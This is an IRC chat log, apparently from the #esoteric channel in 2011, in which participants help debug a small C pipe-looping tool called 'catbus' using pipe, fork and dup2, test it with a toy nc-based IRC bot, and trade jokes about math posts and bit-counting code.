23:07:39 <elliott> Phantom_Hoover: Ah. Quite possibly.
23:09:34 <elliott> Phantom_Hoover: Still...
23:09:43 <Phantom_Hoover> elliott, what?
23:09:55 <elliott> Phantom_Hoover: It seems like my interpretation might be more useful somehow.
23:10:03 <Phantom_Hoover> What's yours?
23:11:00 <elliott> Phantom_Hoover: See the talk page.
23:11:09 -!- cheater00 has quit (Ping timeout: 240 seconds).
23:11:25 <elliott> Phantom_Hoover: i.e. each pair of two programs' stdout is combined and sent to the remaining program.
23:11:42 <elliott> For four programs, it would be: each length-3 list of unique programs' stdout is combined and sent to the remaining program.
23:11:42 <Phantom_Hoover> Hmm.
23:12:02 -!- cheater00 has joined.
23:12:12 <Phantom_Hoover> That wouldn't make much sense unless every program had basically the same output format.
23:13:23 -!- elliott has left (?).
23:13:25 -!- elliott has joined.
23:13:27 <elliott> Phantom_Hoover: Well, sure.
23:14:27 -!- elliott has quit (Remote host closed the connection).
23:14:32 -!- elliott has joined.
23:15:36 <Phantom_Hoover> http://www.reddit.com/r/mathematics
23:15:41 <Phantom_Hoover> I SUPPOSE I EXPECTED TOO MUCH
23:17:29 <Phantom_Hoover> http://www.reddit.com/r/mathematics/comments/d782f/reddit_have_i_done_this_wrong_if_you_think_so/
23:17:42 <Phantom_Hoover> I want to be contemptuous sooooo much, but I can't bring myself to.
23:19:42 <elliott> Phantom_Hoover: */r/math
23:19:44 <elliott> si the real subreddit
23:19:49 <Phantom_Hoover> Ah, that explains it.
23:19:54 <Phantom_Hoover> GODDAMN AMERICANS
23:20:02 <elliott> /r/math has plenty of stupid though
23:20:19 <olsner> y = 14/2 + 1/x => y = -2+x, wtf?
23:20:24 <Phantom_Hoover> Someone's mind is blown by Weirstrass functions.
23:20:29 <Phantom_Hoover> What.
23:21:13 <elliott> they like
23:21:13 <elliott> strass
23:21:14 <elliott> my weir
23:21:17 <elliott> *weier
23:22:01 <Phantom_Hoover> FAIR ENOUGH
23:23:26 * Phantom_Hoover → sleep
23:23:28 -!- Phantom_Hoover has quit (Quit: Leaving).
23:24:21 <Sgeo> http://senseis.xmp.net/?Yahoo
23:24:23 <Sgeo> oops
23:24:30 <Sgeo> 2y = -4+X
23:24:31 <Sgeo> y = 14/2 + 1/X
23:24:32 <Sgeo> WTF?
23:25:09 <Sgeo> Oh, olsner already commented
23:25:47 -!- MigoMipo has quit (Remote host closed the connection).
23:26:52 <olsner> "I'm not sure what to do with half an x."
23:28:03 <elliott> olsner: wat
23:28:17 <olsner> elliott: comment on the same reddit page
23:28:25 <elliott> ah :D
23:34:22 <Ilari> Guesses what could cause current obesity/diabetes epidemic (might be none of these, might be multiple in combination): Fructose, Plant polyunsaturated fats, gluten, WGA, goitrogens, micronutrient defiencies, protein defiencies, fat defiency, lack of sleep, chronic stress, messed up excercise habits, ...
23:34:37 <Ilari> (as said, nobody really knows)
23:35:04 <elliott> Ilari: I know
23:37:46 <Ilari> And that list is after dropping things like (because they don't seem to be possible causes) saturated fat (or "solid fats") or fast carbohydrates (yes, most of those are total garbage, but probably not because of their high GI)....
23:38:38 <Ilari> BTW: Ever heard of French paradox and Israeli paradox? :-)
23:42:23 <Ilari> Somehow I get the feeling polyunsaturated fats act more like micronutrients than macronutrients... The requirements are greater than anything traditionally considered micronutrient, but also the amounts required are much less than the stuffs primarily used for energy...
23:42:36 <elliott> man, this is hard
23:42:57 <Ilari> And the intake ranges are relatively narrow...
23:43:06 <elliott> aha, i think i can avoid pipes
23:43:07 <elliott> maybe
23:45:45 <elliott> hmm
23:45:59 <elliott> how can I cause fd 7 (say) in a parent process be the fd 0 of a child process?
23:46:01 <elliott> do I need a pipe?
23:46:10 <elliott> or can i do it with dupfd/fcntl?
23:47:46 <olsner> I think you use dup (dup2?) to do stuff like that
23:47:59 <olsner> common thing to do I think
23:48:36 -!- Sgeo_ has joined.
23:48:42 <olsner> i.e. set up some pipes in parent, fork, swizzle the file descriptors around to make it stdin/out/err, exec
23:50:14 -!- augur has quit (Remote host closed the connection).
23:50:46 <elliott> olsner: yeees, but
23:50:52 <elliott> olsner: dup operates inside the child process
23:50:58 <elliott> I don't see how I can dup from child process to parent
23:51:07 <elliott> or are fds shared from child and parent? at least, 0,1,2 aren't
23:51:08 -!- Sgeo has quit (Ping timeout: 240 seconds).
23:51:16 <iconmaster> Life sucks- I just learned about EBNF after inventing SynDev. Just wanted to let the IRC world know of my random development!
23:51:30 <olsner> elliott: yes, when you fork you share fd's
23:51:49 <elliott> iconmaster: wait, you didn't know about EBNF? :D
23:52:03 <elliott> how did you think parsers were written? by hand?
23:52:05 <elliott> (ok, some are)
23:52:08 <olsner> at least normally, there are likely weird flags and shenanigans all over
23:52:13 <iconmaster> elliott: nope, just found out from a friend a few mins ago. LOL.
23:52:18 <elliott> iconmaster: bahaha :)
23:52:20 <elliott> iconmaster: but hey
23:52:51 <elliott> iconmaster: this means you're as smart as John Backus, Peter Naur and Niklaus Wirth put together
23:53:02 <elliott> (Wirth created EBNF based on BNF (arguably) by Backus and Naur)
23:53:31 <elliott> iconmaster: I'd be proud of how comprehensive your lang is in comparison
23:53:37 <iconmaster> elliott: lol, RLY? I only assume that SynDev can describe things with equivalent power of EBNF, idk.
23:53:42 <elliott> (when I saw it I thought "hang on, this is just EBNF, how is this esoteric?" :))
23:53:54 <elliott> iconmaster: pretty sure it can, yes
23:54:05 <elliott> you have alternation and constants, that's all you really need
23:54:08 <iconmaster> elliott: cool. Life sucks less now.
23:54:15 <elliott> that's the spirit!
23:54:20 <elliott> now go accidentally reinvent something else
23:54:41 <iconmaster> ok, how about.... Minsky machines! Wait, I already know about those....
23:54:49 <elliott> olsner: ugh, this is complicated (catbus that is)
23:54:57 <elliott> maybe I'll just support two processes to start with
23:55:06 <olsner> catbus?
23:55:39 <iconmaster> I'm bored... I think i'll implement Underload... In LUA! See you guys later.
23:56:27 <elliott> iconmaster: lol, we've been on quite the underload kick lately
23:56:29 <olsner> seems pretty trivial, dup2 allows you to duplicate any open file descriptor to a given number you want such as 0/1/2
23:56:42 <elliott> olsner: well sure
23:56:54 <elliott> olsner: just need to get my head around dup and dup2 first :P
23:56:55 <iconmaster> elliott: Ya, i know, ive been reading board for about a few hours
23:57:00 <elliott> iconmaster: hehe
23:57:03 -!- cheater00 has quit (Read error: Connection reset by peer).
23:57:13 -!- cheater- has joined.
23:57:28 <elliott> olsner: anyway, if that "catbus?" was an actual question - the ultimate Unix pipe-fitting tool
23:57:39 <olsner> dup always gives you a new previously unassigned fd so not entirely useful if you want to e.g. redirect stdout
23:57:55 <elliott> it connects the stdin of the first process to the stdout of the last, the stdout of the first process to the stdin of the second, ...
23:58:02 <elliott> i.e. a circular loop of connections
23:58:15 <elliott> olsner: indeed, but I think I have to do it in two parts
23:58:26 <elliott> olsner: dup2(64, 0) in one
23:58:28 <elliott> then in another
23:58:36 <elliott> dup2(1, 64)
23:58:40 <olsner> create all the pipes, create all the children, hook each child up to the right end of the right pipe, make each child exec its process?
23:58:43 <elliott> that way, in the latter process, output goes to the input of the second
23:58:47 <elliott> olsner: ok, so I _do_ need pipes
23:59:13 -!- FireFly has quit (Quit: swatted to death).
2011-02-06
00:01:09 <elliott> execlp("sh", "-c", cmd, NULL);
00:01:09 <elliott> hmm
00:01:14 <elliott> this seems to not inherit your PATH or something
00:01:21 <elliott> it's telling me it can't find yes or cat
00:02:00 <elliott> oh
00:02:02 <elliott> I don't want -c
00:02:03 <elliott> I don't think
00:02:10 <elliott> "sh -c /usr/bin/yes" doesn't work
00:02:29 <elliott> -c Read commands from the command_string operand
00:02:29 <elliott> instead of from the standard input. Special
00:02:29 <elliott> parameter 0 will be set from the command_name op‐
00:02:29 <elliott> erand and the positional parameters ($1, $2, etc.)
00:02:29 <elliott> set from the remaining argument operands.
00:02:30 <elliott> argh
00:02:33 <elliott> where's the eval part :P
00:02:53 <elliott> hm that _is_ it
00:05:25 <fizzie> The first arg is argv[0], isn't it?
00:06:02 <elliott> ohh
00:06:03 <elliott> yep
00:07:16 <elliott> OK, so I need two pipes for my two-process case.
00:07:31 <elliott> pipe1[0] is what process #1 writes to
00:07:37 <elliott> pipe1[1] is what process #2 reads from
00:07:44 <elliott> pip2[0] is what process #2 writes to
00:07:45 <elliott> *pipe2
00:07:50 <elliott> pipe2[1] is what process #1 reads from
00:07:50 <elliott> okay
00:07:52 <olsner> no, [0] is the read end, [1] is the write end
00:07:55 <elliott> err
00:07:57 <elliott> right
00:08:36 <olsner> so I think youdup2(pipe1[0], 1) to hook up a read-end to stdin
00:08:46 <olsner> *you'd do dup2
00:08:48 <elliott> dup2(pipe2[0], 0);
00:08:48 <elliott> dup2(pipe1[1], 1);
00:08:53 <elliott> yeah
00:08:56 <elliott> olsner: wait what?
00:09:04 <elliott> stdin is 0
00:09:06 <olsner> whichever is stdin and stdout, can never remember that :)
00:09:25 <elliott> if (n == 0) {
00:09:25 <elliott> dup2(pipe2[0], 0);
00:09:25 <elliott> dup2(pipe1[1], 1);
00:09:25 <elliott> } else {
00:09:25 <elliott> dup2(pipe1[0], 0);
00:09:26 <elliott> dup2(pipe2[1], 1);
00:09:28 <elliott> }
00:09:30 <elliott> simple enough
00:09:51 <elliott> yay, it's working
00:10:15 <olsner> in the 1-process case, do you make a single process talking to itself?
00:10:34 -!- augur has joined.
00:10:37 <elliott> olsner: :D
00:10:40 <elliott> olsner: that would be amazing
00:11:14 <elliott> http://translate.google.com/#de|de|pv%20zk%20bschk%20pv%20zk%20pv%20bschk%20zk%20pv%20zk%20bschk%20pv%20zk%20pv%20bschk%20zk%20bschk%20pv%20bschk%20bschk%20pv%20kkkkkkkkkk%20bschk%0A%0A <-- they changed the button to say Beatbox :D
00:11:50 <olsner> don't know of any program that can usefully talk to itself, but there's no reason not to support it
00:12:52 -!- buttsbutts has joined.
00:12:52 <buttsbutts> butts
00:12:54 <buttsbutts> butts
00:12:56 <elliott> wooo
00:12:57 <buttsbutts> butts
00:12:57 <elliott> it works
00:12:59 <elliott> empirically verified by: butts
00:13:00 <buttsbutts> butts
00:13:03 <buttsbutts> butts
00:13:05 <elliott> teehee
00:13:06 <buttsbutts> butts
00:13:08 <buttsbutts> butts
00:13:10 <elliott> butts
00:13:11 <buttsbutts> butts
00:13:12 -!- buttsbutts has quit (Remote host closed the connection).
00:13:30 <elliott> read: 6: arg count
00:13:32 <elliott> what
00:13:34 <elliott> oh
00:14:04 <elliott> wut
00:14:05 <elliott> it no work
00:14:06 <elliott> i sads
00:14:17 <olsner> u suks
00:14:20 <elliott> hey olsner the reading it is the brokes? this makes me an sads
00:14:24 <elliott> *a brokes
00:14:58 <olsner> read? arg count?
00:15:02 <olsner> I don't get it
00:15:30 <elliott> olsner: no that's not the bug
00:15:34 <elliott> reading just blocks
00:15:46 <Vorpal> funny googling for "-1^1/2" gives 0.5 due to weird parsing of where the () should go
00:15:46 <olsner> well, it would block until something writes to the other end
00:15:51 <Vorpal> funny,*
00:15:55 <elliott> olsner: i'm pretty sure nc writes to the other end
00:16:44 <olsner> hmm, could try strace with the follow forks and log pids options
00:16:49 <olsner> to see what's going on
00:16:58 <elliott> sounds scary... okay
00:17:08 <olsner> if you're just blocking it should be alright
00:17:20 <elliott> [pid 18122] read(0, "E", 1) = 1
00:17:20 <elliott> [pid 18122] read(0, "x", 1) = 1
00:17:21 <elliott> [pid 18122] read(0, "c", 1) = 1
00:17:21 <elliott> [pid 18122] read(0, "e", 1) = 1
00:17:21 <elliott> [pid 18122] read(0, "s", 1) = 1
00:17:21 <elliott> [pid 18122] read(0, "s", 1) = 1
00:17:23 <elliott> [pid 18122] read(0, " ", 1) = 1
00:17:25 <elliott> [pid 18122] read(0, "F", 1) = 1
00:17:27 <elliott> [pid 18122] read(0, "l", 1) = 1
00:17:29 <elliott> [pid 18122] read(0, "o", 1) = 1
00:17:32 <elliott> [pid 18122] read(0, "o", 1) = 1
00:17:33 <elliott> [pid 18122] read(0, "d", 1) = 1
00:17:35 <elliott> [pid 18122] read(0, ")", 1) = 1
00:17:37 <elliott> [pid 18122] read(0, "\r", 1) = 1
00:17:39 <elliott> [pid 18122] read(0, "\n", 1) = 1
00:17:41 <elliott> *someone's* terribly efficient
00:17:43 <olsner> but if something forks and starts polling or something like that, you might be getting too much output for comfort :)
00:17:47 -!- buttsbutts has joined.
00:17:47 <buttsbutts> :card.freenode.net NOTICE * :*** Looking up your hostname...
00:17:47 <buttsbutts> :card.freenode.net NOTICE * :*** Checking Ident
00:17:47 <buttsbutts> :card.freenode.net NOTICE * :*** No Ident response
00:17:47 <buttsbutts> :card.freenode.net NOTICE * :*** Couldn't look up your hostname
00:17:47 <buttsbutts> :card.freenode.net 001 buttsbutts :Welcome to the freenode Internet Relay Chat Network buttsbutts
00:17:48 <buttsbutts> :card.freenode.net 002 buttsbutts :Your host is card.freenode.net[38.229.70.20/6667], running version ircd-seven-1.0.3
00:17:54 <elliott> ...ok so this time it works? :D
00:17:54 <elliott> oh
00:17:57 <elliott> it must be flooding
00:17:58 <elliott> obviously
00:18:03 <elliott> bet it's being throttled as we speak
00:18:04 <buttsbutts> :card.freenode.net 003 buttsbutts :This server was created Sun Sep 26 2010 at 01:24:51 UTC
00:18:04 <buttsbutts> :card.freenode.net 004 buttsbutts card.freenode.net ircd-seven-1.0.3 DOQRSZaghilopswz CFILMPQbcefgijklmnopqrstvz bkloveqjfI
00:18:04 <buttsbutts> :card.freenode.net 005 buttsbutts CHANTYPES=# EXCEPTS INVEX CHANMODES=eIbq,k,flj,CFLMPQcgimnprstz CHANLIMIT=#:120 PREFIX=(ov)@+ MAXLIST=bqeI:100 MODES=4 NETWORK=freenode KNOCK STATUSMSG=@+ CALLERID=g :are supported by this server
00:18:04 <buttsbutts> :card.freenode.net 005 buttsbutts SAFELIST ELIST=U CASEMAPPING=rfc1459 CHARSET=ascii NICKLEN=16 CHANNELLEN=50 TOPICLEN=390 ETRACE CPRIVMSG CNOTICE DEAF=D MONITOR=100 :are supported by this server
00:18:04 <buttsbutts> :card.freenode.net 005 buttsbutts FNC TARGMAX=NAMES:1,LIST:1,KICK:1,WHOIS:1,PRIVMSG:4,NOTICE:4,ACCEPT:,MONITOR: EXTBAN=$,arx WHOX CLIENTVER=3.0 :are supported by this server
00:18:04 -!- buttsbutts has quit (Excess Flood).
00:18:08 <elliott> yep :D
00:18:43 -!- buttsbutts has joined.
00:18:43 <buttsbutts> :niven.freenode.net NOTICE * :*** Looking up your hostname...
00:18:43 <buttsbutts> :niven.freenode.net NOTICE * :*** Checking Ident
00:18:43 <buttsbutts> :niven.freenode.net NOTICE * :*** No Ident response
00:18:43 <buttsbutts> :niven.freenode.net NOTICE * :*** Couldn't look up your hostname
00:18:45 <buttsbutts> :niven.freenode.net 001 buttsbutts :Welcome to the freenode Internet Relay Chat Network buttsbutts
00:18:47 <buttsbutts> :niven.freenode.net 002 buttsbutts :Your host is niven.freenode.net[140.211.166.4/6667], running version ircd-seven-1.0.3
00:18:49 <copumpkin> this is useful
00:18:49 <buttsbutts> :niven.freenode.net 003 buttsbutts :This server was created Tue Feb 23 2010 at 23:01:59 UTC
00:18:51 <buttsbutts> :niven.freenode.net 004 buttsbutts niven.freenode.net ircd-seven-1.0.3 DOQRSZaghilopswz CFILMPQbcefgijklmnopqrstvz bkloveqjfI
00:18:52 <elliott> copumpkin: it is
00:18:53 <buttsbutts> :niven.freenode.net 005 buttsbutts CHANTYPES=# EXCEPTS INVEX CHANMODES=eIbq,k,flj,CFLMPQcgimnprstz CHANLIMIT=#:120 PREFIX=(ov)@+ MAXLIST=bqeI:100 MODES=4 NETWORK=freenode KNOCK STATUSMSG=@+ CALLERID=g :are supported by this server
00:18:54 <elliott> copumpkin: it is very useful
00:18:55 <buttsbutts> :niven.freenode.net 005 buttsbutts SAFELIST ELIST=U CASEMAPPING=rfc1459 CHARSET=ascii NICKLEN=16 CHANNELLEN=50 TOPICLEN=390 ETRACE CPRIVMSG CNOTICE DEAF=D MONITOR=100 :are supported by this server
00:18:57 <buttsbutts> :niven.freenode.net 005 buttsbutts FNC TARGMAX=NAMES:1,LIST:1,KICK:1,WHOIS:1,PRIVMSG:4,NOTICE:4,ACCEPT:,MONITOR: EXTBAN=$,arx WHOX CLIENTVER=3.0 :are supported by this server
00:18:58 <elliott> it is buttsbutts
00:18:59 <buttsbutts> :niven.freenode.net 251 buttsbutts :There are 440 users and 59684 invisible on 26 servers
00:19:01 <buttsbutts> :niven.freenode.net 252 buttsbutts 30 :IRC Operators online
00:19:03 <buttsbutts> :niven.freenode.net 253 buttsbutts 1 :unknown connection(s)
00:19:03 <elliott> wait for it
00:19:05 <buttsbutts> :niven.freenode.net 254 buttsbutts 34526 :channels formed
00:19:07 <buttsbutts> :niven.freenode.net 255 buttsbutts :I have 3898 clients and 1 servers
00:19:07 <elliott> we're gonna end up staring at the camera
00:19:09 <buttsbutts> :niven.freenode.net 265 buttsbutts 3898 5233 :Current local users 3898, max 5233
00:19:09 <elliott> pointed at the screen
00:19:11 <elliott> showin the camera
00:19:11 <buttsbutts> :niven.freenode.net 266 buttsbutts 60124 70432 :Current global users 60124, max 70432
00:19:12 <elliott> *showing
00:19:13 <buttsbutts> :niven.freenode.net 250 buttsbutts :Highest connection count: 5234 (5233 clients) (1295329 connections received)
00:19:15 <buttsbutts> :niven.freenode.net 375 buttsbutts :- niven.freenode.net Message of the Day -
00:19:17 <buttsbutts> :niven.freenode.net 372 buttsbutts :- Welcome to niven.freenode.net in Corvallis, Oregon, US. Our
00:19:19 <buttsbutts> :niven.freenode.net 372 buttsbutts :- thanks to Oregon State University for sponsoring this server!
00:19:20 <elliott> just as soon as we get past the motd!
00:19:21 <buttsbutts> :niven.freenode.net 372 buttsbutts :-
00:19:23 <buttsbutts> :niven.freenode.net 372 buttsbutts :- NIVEN, LAWRENCE VAN COTT [1938-]. Architect of Known Space,
00:19:25 <buttsbutts> :niven.freenode.net 372 buttsbutts :- the setting of Protector, World of Ptaavs and the
00:19:27 <buttsbutts> :niven.freenode.net 372 buttsbutts :- Ringworld series. Author of "Flash Crowd", a canonical
00:19:29 <buttsbutts> :niven.freenode.net 372 buttsbutts :- sociological hard science fiction short story dealing with
00:19:31 <buttsbutts> :niven.freenode.net 372 buttsbutts :- effects of near instantaneous transportation on a modern
00:19:33 <copumpkin> so much bullshits
00:19:33 <buttsbutts> :niven.freenode.net 372 buttsbutts :- technological society. In addition, he is well known for his
00:19:33 -!- buttsbutts has quit (Remote host closed the connection).
00:19:36 <copumpkin> lol
00:19:39 <copumpkin> elliott: fail
00:19:41 <olsner> perhaps you could make it ignore the motd :)
00:19:42 <elliott> copumpkin: i ^C'd it
00:19:45 <elliott> because, you know, no :P
00:21:20 <olsner> so what was the configuration there?
00:21:30 <elliott> echo USER butts butts butts butss
00:21:30 <elliott> echo NICK buttsbutts
00:21:31 <elliott> echo JOIN '#esoteric'
00:21:31 <elliott> while read line; do
00:21:31 <elliott> sleep 2
00:21:31 <elliott> echo PRIVMSG '#esoteric' ":$line"
00:21:33 <elliott> done
00:21:35 <elliott> and
00:21:37 <elliott> $ catbus 'nc irc.freenode.net 6667' ./hello
00:21:45 <elliott> catbus adds -DGAPING_SECURITY_HOLE to any copy of nc!
00:22:16 <elliott> so i just need to extend it to N processes
00:22:18 <elliott> sounds "fun"
00:23:02 <olsner> what, you've just implemented exactly two processes and not N?
00:23:09 <elliott> olsner: at this point, yes
00:23:10 <olsner> 2's not a number you know
00:23:13 <elliott> just to check that everything was working
00:23:14 <elliott> :D
00:23:15 <copumpkin> elliott: that could be even cleaner in haskell
00:23:16 <elliott> oh indeed it isn't
00:23:22 <elliott> copumpkin: what could, the shell script?
00:23:25 <copumpkin> yeah
00:23:28 <copumpkin> it's just an interact
00:23:33 <elliott> copumpkin: no it isn't
00:23:35 <elliott> "sleep 2"
00:23:37 <elliott> :t interact
00:23:38 <lambdabot> (String -> String) -> IO ()
00:23:38 <copumpkin> fuck that
00:23:41 <elliott> you'd need -> IO String) -> IO ()
00:23:42 <Deewiant> unsafePerformIO
00:23:46 <elliott> Deewiant: VISIONARY
00:23:53 <copumpkin> why the sleep, anyway?
00:23:57 <elliott> i fear the day when Haskell becomes mainstream and idiots solve their problems with unsafePerformIO
00:23:59 <elliott> copumpkin: because otherwise it floods
00:23:59 <elliott> duh
00:24:06 <copumpkin> pff
00:24:16 <Lymia> elliott.
00:24:22 <copumpkin> someone should make a throttleList :: Int -> [a] -> [a]
00:24:23 <copumpkin> :P
00:24:23 <Lymia> I doubt that will happen.
00:24:26 <copumpkin> that produces shit slowly
00:24:43 <olsner> obviously, you just add another middle step that's cat with delay
00:24:46 <copumpkin> it's referentially transparent
00:24:53 <copumpkin> so it's a perfectly good place to use unsafePerformIO
00:25:00 <olsner> you have a catbus after all
00:25:16 <elliott> dup2(pipes[(i-1)%total][0], 0);
00:25:16 <elliott> dup2(pipes[i][1], 1);
00:25:19 <elliott> can't be that easy, can it?
00:25:25 <olsner> why not?
00:25:29 <elliott> well
00:25:33 <elliott> this kind of stuff sounds hard :D
00:25:34 <elliott> fds and stuff!
00:26:45 <elliott> ha olsner
00:26:46 <elliott> it isn't that easy
00:26:49 <elliott> my thing still hasn't connecte
00:26:50 <elliott> d
00:28:06 <olsner> well, it should be that simple :)
00:28:26 <elliott> had an off-by-one i think
00:29:01 <olsner> for child 0, what's (0-1)%total?
00:29:11 <elliott> well let's say there's 2
00:29:17 <elliott> right now i pass 1 as total
00:29:20 <elliott> so it's -1%1
00:29:29 <elliott> which ends up as ... 0, aha
00:29:32 <elliott> it should be %2
00:29:34 <elliott> but actually
00:29:37 <elliott> I just changed it to pass argc as total
00:29:42 <elliott> so it's (0-1)%2 = 1
00:30:06 <olsner> obviously total is 2 if you have two processes :)
00:30:12 <elliott> right
00:30:16 <elliott> so i have no idea what's wrong
00:30:18 <elliott> :/
00:30:33 <elliott> solution
00:30:42 <elliott> ./catbus 'nc irc.freenode.net 6667 | tee log' ./hello
00:30:46 <elliott> (wish shells let you tee fds)
00:30:47 <elliott> i.e.
00:30:51 <elliott> >+&2
00:30:56 <elliott> sends stdout to both stdout /and/ stderr
00:31:01 <elliott> prolly zsh can do that :P
00:31:32 <olsner> tee /dev/fd/2 perhaps?
00:31:33 <elliott> hmm
00:31:39 <elliott> olsner: ah, indeed
00:31:41 -!- BeholdMyGlory has quit (Remote host closed the connection).
00:31:43 <elliott> dunno if sh does that though
00:31:52 <elliott> seems like hello gets nc's output, but nc doesn't get hello's output
00:32:00 <elliott> so uh
00:32:13 <elliott> hello is process 1 (after process 0)
00:32:14 <elliott> so it's
00:32:22 <elliott> stdout --> pipes[1][1]
00:32:23 <elliott> now in process 0
00:32:24 <elliott> it's
00:32:28 <elliott> -1%2 = 1
00:32:31 <elliott> pipes[1][0] goes to stdin
00:32:33 <elliott> so that should be working
00:32:34 <elliott> wait
00:32:42 <elliott> how does c do negative modulo
00:33:43 <elliott> > printf("%d\n", (-1)%2);
00:33:43 <elliott> -1
00:33:44 <lambdabot> <no location info>: parse error on input `;'
00:33:49 <elliott> olsner: let's talk about how C's modulo semantics are fucktarded.
00:33:52 <olsner> (i?i-1:total-1)
00:35:38 <olsner> it's probably undefined for negative values or something like that
00:35:47 <elliott> yeah
00:35:50 <elliott> C is a real shitfucking language.
00:35:51 <tswett> Gregor: I wrote a stupid little piano piece. It's about 30 seconds long. How would you feel about recording it?
00:35:52 <elliott> technical term
00:35:56 <elliott> elliott@elliott-MacBookAir:~/Code/catbus$ ./catbus 'nc irc.freenode.net 6667' ./hello
00:35:57 <elliott> elliott@elliott-MacBookAir:~/Code/catbus$
00:35:57 <elliott> that worked!
00:36:07 <elliott> (still haven't thought of a hostname :D)
00:36:21 <olsner> haskell has mod and rem, and I have no idea how either of them works for negative values
00:36:23 <elliott> oh, stupid bug
00:36:31 <olsner> but I think both are well-defined in different ways
00:36:34 <elliott> > -1 `mod` 2
00:36:35 <lambdabot> -1
00:36:37 <elliott> > -1 `rem` 2
00:36:38 <lambdabot> -1
00:36:42 <elliott> olsner: lol
00:36:42 <tswett> > mod (-1) 2
00:36:43 <lambdabot> 1
00:36:46 <elliott> oh right
00:36:47 <elliott> sheesh
00:36:51 <Sgeo_> "kgsGtp versions 3.3.12 and later, at least up to 3.3.20, have a bug that makes them babble a debug line, "ACTION IS TO MOVE OR SCORE", over and over while playing. Keep using version 3.3.11. You don't believe that any programmer worth his salt would keep the stupidest possible bug in his program over 10 versions? Check for yourself, if you don't believe me. Apparently programming go software has some pretty bad side effects on the brain."
00:36:53 <elliott> you'd think `` would take precemadance
00:36:57 <tswett> You would.
00:37:06 <elliott> haskell _really_ needs to integrate - into the language syntax :P
00:37:11 <elliott> it's just so stupid as it is
00:37:14 <elliott> (- 3) should be (subtract 3)
00:37:35 <elliott> olsner: my machine just lagged to hell, i surmise that i fucked something up
00:37:49 <olsner> elliott: I concur
00:37:50 <elliott> oh duh
00:38:18 <elliott> come on buttsbutts!
00:38:52 <elliott> i think it's a forkbomb or something
00:39:02 <elliott> even though that - *oh*
00:39:02 <elliott> lol
00:39:06 <elliott> for (i = 0; i < nprocs; i++)
00:39:06 <elliott> spawn(argv[i], i);
00:39:08 <elliott> olsner: spot the awesome error
00:39:37 <augur> elliott: define a function count_ones that takes an integer to the number of 1s in the integer's binary representation
00:39:46 <elliott> augur: see bit twiddling hacks page :P
00:39:53 <augur> what
00:40:07 <elliott> http://www-graphics.stanford.edu/~seander/bithacks.html#CountBitsSetNaive
00:40:09 <elliott> and all the methods below
00:40:17 <Ilari> Heh... Hit a IPv6-only site. Chinese so no idea what it says...
00:40:27 <augur> oh interesting
00:40:48 <augur> elliott: i didnt realize it was a thing
00:40:52 <elliott> it is :P
00:40:55 <elliott> it's a thing thing
00:41:00 <augur> how weird!
00:41:04 <augur> well i did one in ruby
00:41:06 <elliott> i dunno if it's actually useful
00:41:23 <augur> def count_ones n; n.to_s(2).gsub(/0/,'').length; end
00:41:48 <elliott> olsner: maybe i should have an option to specify the shell to use
00:41:49 <augur> a friend has a shorter but slower version that has scan(/1/) in place of the gsub
00:41:52 <elliott> rather than just always using sh
00:42:00 <elliott> augur: oh please, that doesn't even count it properly
00:42:04 <elliott> that just uses a function that does all the work for you to do it
00:42:05 <augur> elliott: what?
00:42:11 <augur> oh well true :)
00:42:14 <elliott> that's not even cheating, that's just... :P
00:42:23 <augur> its just elegant, short, simple, beautiful
00:42:24 <augur> ;)
00:42:29 <elliott> beautiful?
00:42:30 <elliott> hardly
00:42:32 <elliott> there's no reason to involve strings
00:42:33 <augur> true x3
00:42:38 <augur> i know
00:42:40 <elliott> also you have /0/ when it could be '0'
00:42:43 <elliott> YOUR CODE IS BAD AND YOU ARE BAD
00:42:53 <augur> gsub just converts '0' to /0/
00:42:53 <elliott> augur: here's a better version of the same evil
00:43:05 <elliott> def count_ones n; n.to_s(2).count('1'); end
00:43:12 <augur> no really?
00:43:23 <augur> fantastic!
00:43:47 <olsner> elliott: awesome bug
00:43:53 <elliott> olsner: it is, totally
00:43:57 <elliott> accidental forkbombs: the best forkbombs?
00:44:19 <olsner> elliott: can't you just plug in your custom shell by having e.g. 'zsh -c foo' as a command?
00:44:33 <elliott> olsner: well yeah, but then you need an extra level of quoting
00:44:42 <olsner> so? :)
00:45:00 <elliott> also, dammit, it's 48 lines, and will be about 53 when i add more error checking, I can afford _one_ flag!
00:45:38 <elliott> if (!strcmp(argv[1], "-s") && argc > 2) { shell = argv[2]; argc -= 2; }
00:45:41 <augur> elliott: i want to see the haskell version, but apparently there is no standard to-binary function :(
00:45:53 <elliott> augur: but there is Data.Bits
00:45:56 <elliott> so you can do it _properly_
00:45:58 <elliott> the Kernighan way for instance
00:46:02 <elliott> also, there's
00:46:03 <elliott> :t showBase
00:46:03 <augur> ;)
00:46:03 <lambdabot> Not in scope: `showBase'
00:46:04 <elliott> or whatever it was
00:46:08 <olsner> there's a SHELL environment variable (on my system), I wonder if that's portable and meant to indicate the preferred shell
00:47:46 <elliott> olsner: i think it just indicates the shell you're running
00:47:50 <augur> elliott: ideally you'd just use the integer's binary representation directly
00:47:54 <augur> as an inplace bit array
00:47:58 <elliott> olsner: also, having "SHELL=foo ./myprog" fuck it up because myprog uses catbus sounds "nice"
00:48:21 <elliott> augur: seriously, look at Data.Bits
00:48:21 <augur> n.bits.count(1)
00:48:35 <elliott> oh, in ruby
00:48:35 <elliott> whatever
00:48:35 <augur> thatll take too long
00:48:40 <augur> elliott: in anything, i mean
00:48:46 <elliott> http://hackage.haskell.org/packages/archive/base/4.2.0.0/doc/html/Data-Bits.html
00:48:56 <elliott> it has &, so you can do the kernighan method easy
00:49:00 <Sgeo_> http://senseis.xmp.net/?FreeGo ....ok, random .NET debate in the middle of a Go website
00:49:11 <augur> elliott: no certainly.
00:49:43 <Sgeo_> " And for most things, we should be using C anyway. Object orientation takes one away from the machine even if computers are now fast enough to overwhelm that. Computers are not object oriented, they are imperitive, so we should, when it makes sense, write that way."
00:49:51 <elliott> > let count 0 = 0; count n = (n .&. 1) + count (n `shiftR` 1) in count 0b0110
00:49:52 <lambdabot> Not in scope: `b0110'
00:49:54 <elliott> grr
00:50:04 <elliott> > let count 0 = 0; count n = (n .&. 1) + count (n `shiftR` 1) in count 54
00:50:05 <lambdabot> Ambiguous type variable `a' in the constraint:
00:50:05 <lambdabot> `Data.Bits.Bits a'
00:50:05 <lambdabot> a...
00:50:09 <elliott> > let count 0 = 0; count n = (n .&. 1) + count (n `shiftR` 1) in count (54 :: Int)
00:50:10 <lambdabot> 4
00:50:14 <elliott> tada!
00:50:16 <elliott> augur: done.
00:50:22 <augur> D:
00:50:28 <elliott> copumpkin gets to point-free it
00:50:34 <elliott> :t zero
00:50:35 <lambdabot> Not in scope: `zero'
